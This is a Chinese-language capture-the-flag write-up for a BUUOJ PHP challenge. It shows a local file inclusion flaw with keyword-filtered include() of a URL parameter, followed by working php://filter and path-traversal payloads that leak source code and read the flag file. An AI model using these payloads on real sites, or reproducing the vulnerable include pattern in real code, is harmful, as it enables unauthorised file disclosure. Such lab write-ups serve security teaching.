题目地址:https://buuoj.cn/challenges
解题思路
第一步:进入题目,两个按钮,点击任意一个均出现一张照片,且URL参数提交相应的值
第二步:利用php:filter读取index.php发现出错
php://filter/convert.base64-encode/resource=index.php
第三步:去掉.php后缀名后成功获取到源码的base64值,解码后得到源码
<?php
$file = $_GET['category'];
if(isset($file)){
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
第四步:代码审计
- 可以看到提交的参数必须包含三个关键字才能加载相应的函数,并且自动在后面加上php后缀名
第五步:输入index?/../../../../flag
使用第一题目录穿越获取flag,结果失败
第六步:php://filter可以在resource之前嵌套一层目录,利用此原理获取flag
输入php://filter/convert.base64-encode/index/resource=flag
,得到base64编码,解码后得到flag